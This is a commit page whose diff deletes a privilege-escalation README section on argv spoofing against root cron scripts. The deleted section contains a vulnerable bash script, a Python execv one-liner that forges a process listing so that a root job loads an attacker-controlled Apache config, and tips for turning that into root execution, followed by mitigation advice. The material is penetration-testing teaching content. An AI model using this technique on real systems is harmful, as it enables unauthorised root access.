Skip to content

Commit ece2294

Browse files
authored
Update README.md
1 parent 8a3275f commit ece2294

1 file changed

Lines changed: 0 additions & 49 deletions

File tree

  • src/linux-hardening/privilege-escalation

src/linux-hardening/privilege-escalation/README.md

Lines changed: 0 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -452,55 +452,6 @@ It's possible to create a cronjob **putting a carriage return after a comment**
452452
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
453453
```
454454

455-
### pgrep/ps argv spoofing in privileged cron scripts
456-
457-
If a root cron/systemd timer script constructs commands from untrusted process listings, you can often escalate privileges by forging a process argv that the script consumes.
458-
459-
Vulnerable pattern (real-world example simplified):
460-
461-
```bash
462-
#!/usr/bin/bash
463-
RET=0
464-
while read pid _cmd ; do
465-
# Replace apache2 with apache2ctl and add -t for test
466-
cmd="${_cmd/apache2/apache2ctl} -t"
467-
$cmd >/dev/null 2>&1
468-
RET=$?
469-
done <<< $(/usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
470-
exit $RET
471-
```
472-
473-
Why vulnerable
474-
- pgrep -lfa prints PID and full command line of matching processes. Any user can spawn a process whose argv[0] matches the regex.
475-
- The script performs naive string substitution and then executes the resulting $cmd as root.
476-
477-
Exploit primitive: forge argv with execv
478-
479-
```bash
480-
# Make a fake process whose argv[0] matches the regex and inject flags we want
481-
python3 -c 'import os; os.execv("/bin/sleep", ["/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -f /home/me/pwn.conf", "60"])'
482-
# Verify it shows up as intended
483-
pgrep -lfa apache2
484-
```
485-
486-
The cron will then run, as root, something like:
487-
488-
```bash
489-
/opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -f /home/me/pwn.conf -t
490-
```
491-
492-
From primitive to root
493-
- Use -f /path/to/attacker.conf to point apache2ctl to a config you fully control; you can also override -d to influence ServerRoot resolution.
494-
- Craft attacker.conf to leverage Apache behaviors that execute privileged helpers during config parsing/startup (e.g., piped logs or other directives that may spawn programs during validation/startup in your target’s build). This can yield root-level command execution or privileged file writes even if the script runs with -t.
495-
496-
Detection and mitigation
497-
- Never execute strings built from process listings. Use fixed argv arrays and strict allowlists for both program and arguments.
498-
- If you must inspect processes, parse safely and avoid substituting and executing arbitrary strings; do not pass untrusted data through the shell.
499-
- Drop privileges in health-check jobs and test configs as an unprivileged user.
500-
501-
References
502-
- [HTB Zero write-up showing this abuse and path to root](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
503-
504455
## Services
505456

506457
### Writable _.service_ files

0 commit comments

Comments
 (0)